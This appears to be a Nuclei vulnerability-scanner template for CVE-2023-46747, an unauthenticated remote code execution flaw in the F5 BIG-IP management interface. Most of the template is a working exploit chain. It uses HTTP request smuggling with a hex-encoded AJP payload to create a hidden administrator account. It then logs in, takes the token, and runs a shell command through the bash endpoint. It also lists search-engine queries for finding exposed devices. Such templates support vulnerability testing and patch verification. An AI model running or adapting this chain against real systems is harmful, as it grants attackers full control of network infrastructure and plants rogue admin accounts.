F5 BIG-IP - Unauthenticated RCE via AJP Smuggling

id: CVE-2023-46747

info:
  name: F5 BIG-IP - Unauthenticated RCE via AJP Smuggling
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    CVE-2023-46747 is a critical severity authentication bypass vulnerability in F5 BIG-IP that could allow an unauthenticated attacker to achieve remote code execution (RCE). The vulnerability impacts the BIG-IP Configuration utility, also known as the TMUI, wherein arbitrary requests can bypass authentication. The vulnerability received a CVSSv3 score of 9.8.
  impact: |
    Unauthenticated attackers can bypass authentication and achieve remote code execution on BIG-IP systems, potentially compromising critical network infrastructure.
  remediation: |
    Apply F5's security patches immediately. Affected versions include BIG-IP 17.1.0, 16.1.0 - 16.1.4, 15.1.0 - 15.1.10, 14.1.0 - 14.1.5, and 13.1.0 - 13.1.5.
  reference:
    - https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/
    - https://my.f5.com/manage/s/article/K000137353
    - http://packetstormsecurity.com/files/175673/F5-BIG-IP-TMUI-AJP-Smuggling-Remote-Command-Execution.html
    - https://www.secpod.com/blog/f5-issues-warning-big-ip-vulnerability-used-in-active-exploit-chain/
    - https://github.com/f1tao/awesome-iot-security-resource
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46747
    cwe-id: CWE-306,CWE-288
    epss-score: 0.96515
    epss-percentile: 0.99873
    cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 7
    vendor: f5
    product: big-ip_access_policy_manager
    shodan-query:
      - http.title:"BIG-IP®-+Redirect" +"Server"
      - http.title:"big-ip®-+redirect" +"server"
    fofa-query: title="big-ip®-+redirect" +"server"
    google-query: intitle:"big-ip®-+redirect" +"server"
  tags: cve2023,cve,packetstorm,rce,f5,bigip,unauth,ajp,smuggling,intrusive,kev,vkev,vuln
variables:
  username: "{{hex_encode(rand_base(5))}}"
  password: "{{hex_encode(rand_base(12))}}"
  password2: "{{rand_base(14)}}"

http:
  - raw:
      - |+
        POST /tmui/login.jsp HTTP/1.1
        Host: {{Hostname}}
        Transfer-Encoding: chunked, chunked
        Content-Type: application/x-www-form-urlencoded

        204
        {{ hex_decode(concat("0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d",username,"266e616d655f6265666f72653d267061737377643d",password,"267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00")) }}
        0

    unsafe: true

  - raw:
      - |+
        PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(hex_decode(username)+":"+hex_decode(password))}}
        Content-Type: application/json

        {"password": "{{password2}}"}

      - |+
        POST /mgmt/shared/authn/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{hex_decode(username)}}", "password":"{{pass}}"}

      - |+
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: {{Hostname}}
        X-F5-Auth-Token: {{token}}
        Content-Type: application/json

        {"command":"run","utilCmdArgs":"-c id"}

    payloads:
      pass:
        - '{{password2}}'
        - '{{hex_decode(password)}}'
    skip-variables-check: true
    stop-at-first-match: true

    extractors:
      - type: regex
        part: body_2
        name: token
        group: 1
        regex:
          - "([A-Z0-9]{26})"
        internal: true

      - type: regex
        part: body_3
        group: 1
        regex:
          - "\"commandResult\":\"(.*)\""

      - type: dsl
        dsl:
          - '"Username:" + hex_decode(username)'
          - '"Password:" + pass'
          - '"Token:" + token'
    matchers:
      - type: word
        words:
          - "commandResult"
          - "uid="
        condition: and
# digest: 490a0046304402200dcb86b0701090f5115be86e78f58d4f40a5cb1d7dd44a918dcc8cb5e545d2540220723a7fb996fcf283d7e9906ebcf63a1bba92fbad6ad9df0d2a256cd305afec70:922c64590222798bb761d5b6d8e72950